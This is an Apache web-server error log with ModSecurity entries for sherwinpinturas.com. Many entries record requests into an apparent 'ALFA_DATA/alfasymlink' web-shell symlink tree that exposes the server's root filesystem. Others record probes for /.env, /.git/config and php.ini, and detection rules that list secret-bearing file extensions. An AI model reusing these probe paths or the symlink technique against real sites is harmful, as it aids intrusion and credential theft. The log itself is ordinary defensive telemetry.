[Sun Oct 25 03:59:34.138763 2026] [security2:error] [pid 2781030:tid 2781030] [client 3.221.244.28:53240] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/event0/subsystem/event1/device/input1::scrolllock/trigger"] [unique_id "at225rQKh4dfs72fmHxv2AAAAAE"]
[Sun Oct 25 03:59:34.138797 2026] [security2:error] [pid 2781030:tid 2781030] [client 3.221.244.28:53240] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/event0/subsystem/event1/device/input1::scrolllock/trigger"] [unique_id "at225rQKh4dfs72fmHxv2AAAAAE"]
[Sun Oct 25 03:59:46.201009 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 23.23.137.202:62998] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:00:02.225838 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 3.210.223.61:16307] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/console/subsystem/ttyS0/xmit_fifo_size
[Sun Oct 25 04:00:02.226352 2026] [security2:error] [pid 2781030:tid 2781030] [client 3.210.223.61:16307] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/console/subsystem/ttyS0/xmit_fifo_size"] [unique_id "at23ArQKh4dfs72fmHxv2QAAAAE"]
[Sun Oct 25 04:00:02.226376 2026] [security2:error] [pid 2781030:tid 2781030] [client 3.210.223.61:16307] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/console/subsystem/ttyS0/xmit_fifo_size"] [unique_id "at23ArQKh4dfs72fmHxv2QAAAAE"]
[Sun Oct 25 04:00:10.212053 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 18.215.112.101:21674] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:00:14.145211 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 54.198.33.233:24269] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:00:22.141058 2026] [ssl:error] [pid 2775684:tid 2775684] (5)Input/output error: [client 54.164.106.236:64910] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:00:26.206973 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 34.231.118.144:57794] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:00:34.160747 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 52.22.87.224:16351] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:00:58.332732 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 184.73.239.35:28297] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:01:03.826912 2026] [security2:error] [pid 2762145:tid 2762145] [client 85.208.96.209:61464] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/ja/index.db"] [unique_id "at23P1TnwNJm6o1fQZIimwAAAAI"]
[Sun Oct 25 04:01:03.827581 2026] [security2:error] [pid 2762145:tid 2762145] [client 85.208.96.209:61464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/ja/index.db"] [unique_id "at23P1TnwNJm6o1fQZIimwAAAAI"]
[Sun Oct 25 04:01:03.828202 2026] [security2:error] [pid 2762145:tid 2762145] [client 85.208.96.209:61464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/ja/index.db"] [unique_id "at23P1TnwNJm6o1fQZIimwAAAAI"]
[Sun Oct 25 04:01:06.257844 2026] [ssl:error] [pid 2781481:tid 2781481] (22)Invalid argument: [client 3.221.156.96:64696] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:01:14.322738 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 35.172.125.172:55959] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:01:18.218256 2026] [core:error] [pid 2775712:tid 2775712] (13)Permission denied: [client 34.202.88.37:8116] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/device:01/physical_node/rescan
[Sun Oct 25 04:01:22.315457 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 52.5.232.250:63470] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:01:34.228560 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 100.29.63.24:18747] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:01:38.224395 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.210.223.61:49365] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:01:50.214665 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 3.227.180.70:31090] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:01:54.354089 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 98.82.66.172:2654] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:01:58.217635 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 52.204.37.237:23690] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:02:10.504898 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 34.231.156.59:36812] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/resource4
[Sun Oct 25 04:02:26.327244 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 52.201.155.215:64499] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:02:38.282756 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 44.215.231.15:7715] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:02:42.244995 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 54.84.161.62:37700] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:02:50.419814 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 44.195.145.102:19787] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:02:54.247319 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 44.212.106.171:51458] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/device:01/physical_node/remove
[Sun Oct 25 04:03:01.612129 2026] [authz_core:error] [pid 2781480:tid 2781480] [client 195.96.139.138:51139] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 04:03:05.418088 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 85.208.96.202:25406] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_lbr/order
[Sun Oct 25 04:03:09.279401 2026] [core:crit] [pid 2775672:tid 2775672] (13)Permission denied: [client 216.244.66.250:56392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/43/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/43/fd/' is executable
[Sun Oct 25 04:03:09.279457 2026] [core:crit] [pid 2775672:tid 2775672] (13)Permission denied: [client 216.244.66.250:56392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/43/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/43/map_files/' is executable
[Sun Oct 25 04:03:09.279492 2026] [core:crit] [pid 2775672:tid 2775672] (13)Permission denied: [client 216.244.66.250:56392] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/43/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/43/fdinfo/' is executable
[Sun Oct 25 04:03:10.343181 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 34.203.111.15:48998] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:03:12.285901 2026] [core:error] [pid 2781481:tid 2781481] (13)Permission denied: [client 85.208.96.201:33016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS1/line
[Sun Oct 25 04:03:14.310081 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 54.90.244.132:20487] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:03:18.347135 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 18.208.11.93:49131] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:03:42.807434 2026] [security2:error] [pid 2781480:tid 2781480] [client 43.166.244.66:53956] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/vendor/autoload.php"] [unique_id "at233qrU4NwppjTEGaL6dgAAAAY"]
[Sun Oct 25 04:03:46.415006 2026] [core:error] [pid 2781523:tid 2781523] (13)Permission denied: [client 3.214.176.44:20572] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/button/bind
[Sun Oct 25 04:03:50.269756 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 23.22.105.143:12930] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:03:54.257327 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 23.21.148.226:56586] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:03:58.313504 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 23.23.99.55:22032] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:04:02.858040 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 52.2.58.41:21170] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:04:06.501203 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 18.214.186.220:64645] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/ata_piix/module/sections/__param
[Sun Oct 25 04:04:10.287082 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 100.29.63.24:9791] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:01/PNP0B00:00/physical_node/driver/unbind
[Sun Oct 25 04:04:14.267835 2026] [core:error] [pid 2775684:tid 2775684] (13)Permission denied: [client 216.244.66.250:49304] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/bin/c++
[Sun Oct 25 04:04:18.263392 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 52.200.54.136:42341] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:04:22.262435 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 44.223.232.55:58059] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:04:26.413378 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 18.233.24.238:44504] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:04:30.256769 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 23.21.119.232:56038] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/driver/new_id
[Sun Oct 25 04:04:38.261926 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 52.3.127.170:7505] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:04:42.485539 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 44.194.134.53:16869] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:04:46.459467 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 54.144.185.255:23688] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:04:50.270988 2026] [ssl:error] [pid 2775672:tid 2775672] (70014)End of file found: [client 3.213.46.222:38623] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:04:54.272971 2026] [core:error] [pid 2781030:tid 2781030] (13)Permission denied: [client 35.171.141.42:3968] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/0000:00:01.1/remove
[Sun Oct 25 04:04:58.494543 2026] [ssl:error] [pid 2781523:tid 2781523] (70014)End of file found: [client 23.22.105.143:21877] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:05:02.453364 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.70.209.13:50407] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:05:06.338368 2026] [core:error] [pid 2775672:tid 2775672] (13)Permission denied: [client 52.54.95.127:51078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/rom
[Sun Oct 25 04:05:10.285463 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 23.23.103.31:15672] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:05:12.010866 2026] [core:crit] [pid 2781480:tid 2781480] (13)Permission denied: [client 42.236.73.143:39290] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 04:05:12.579747 2026] [core:crit] [pid 2775712:tid 2775712] (13)Permission denied: [client 42.236.73.143:39304] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 04:05:13.184814 2026] [core:crit] [pid 2781030:tid 2781030] (13)Permission denied: [client 42.236.73.143:39308] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 04:05:14.566829 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 184.73.239.35:51258] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:05:18.298655 2026] [ssl:error] [pid 2781507:tid 2781507] (70014)End of file found: [client 3.220.148.166:2848] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:05:22.663960 2026] [security2:error] [pid 2775672:tid 2775672] [client 185.191.171.1:42400] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/VX222.conf"] [unique_id "at24QsqduxFlyzJhl1wEkQAAAAA"]
[Sun Oct 25 04:05:22.664444 2026] [security2:error] [pid 2775672:tid 2775672] [client 185.191.171.1:42400] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/VX222.conf"] [unique_id "at24QsqduxFlyzJhl1wEkQAAAAA"]
[Sun Oct 25 04:05:22.664775 2026] [security2:error] [pid 2775672:tid 2775672] [client 185.191.171.1:42400] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/VX222.conf"] [unique_id "at24QsqduxFlyzJhl1wEkQAAAAA"]
[Sun Oct 25 04:05:26.615982 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 44.214.19.8:31365] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:05:30.652045 2026] [core:error] [pid 2781524:tid 2781524] (13)Permission denied: [client 185.191.171.13:42392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_node/slab_size
[Sun Oct 25 04:05:33.486189 2026] [security2:error] [pid 2781480:tid 2781480] [client 52.205.222.214:19683] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/module/drivers/"] [unique_id "at24TarU4NwppjTEGaL6ewAAAAY"]
[Sun Oct 25 04:05:33.486234 2026] [security2:error] [pid 2781480:tid 2781480] [client 52.205.222.214:19683] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/module/drivers/"] [unique_id "at24TarU4NwppjTEGaL6ewAAAAY"]
[Sun Oct 25 04:05:34.310798 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 98.83.226.125:22772] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:05:38.415908 2026] [ssl:error] [pid 2781481:tid 2781481] (70014)End of file found: [client 3.225.9.97:28096] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:05:42.303498 2026] [core:error] [pid 2781507:tid 2781507] (13)Permission denied: [client 3.225.9.97:63073] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/ata_piix/module/sections/__mcount_loc
[Sun Oct 25 04:05:45.155879 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 85.208.96.205:25350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/cache_dma
[Sun Oct 25 04:05:50.391527 2026] [ssl:error] [pid 2781524:tid 2781524] (70014)End of file found: [client 3.221.156.96:29467] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:05:54.349340 2026] [ssl:error] [pid 2775712:tid 2775712] (70014)End of file found: [client 44.210.213.220:22265] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:06:02.329212 2026] [ssl:error] [pid 2781481:tid 2781481] (5)Input/output error: [client 52.73.142.41:16578] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:06:06.325871 2026] [ssl:error] [pid 2781480:tid 2781480] (70014)End of file found: [client 52.7.33.248:38193] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:06:10.313831 2026] [ssl:error] [pid 2781030:tid 2781030] (70014)End of file found: [client 52.204.71.8:17935] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:06:18.827218 2026] [ssl:error] [pid 2775684:tid 2775684] (70014)End of file found: [client 44.193.102.198:38297] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:06:21.000988 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at24fKrU4NwppjTEGaL6fgAAAAY"]
[Sun Oct 25 04:06:21.001210 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at24fKrU4NwppjTEGaL6fgAAAAY"]
[Sun Oct 25 04:06:21.001457 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at24fKrU4NwppjTEGaL6fgAAAAY"]
[Sun Oct 25 04:06:21.017250 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at24fdxXWZMI2DaSlsHxJwAAABY"]
[Sun Oct 25 04:06:21.017469 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at24fdxXWZMI2DaSlsHxJwAAABY"]
[Sun Oct 25 04:06:21.017704 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at24fdxXWZMI2DaSlsHxJwAAABY"]
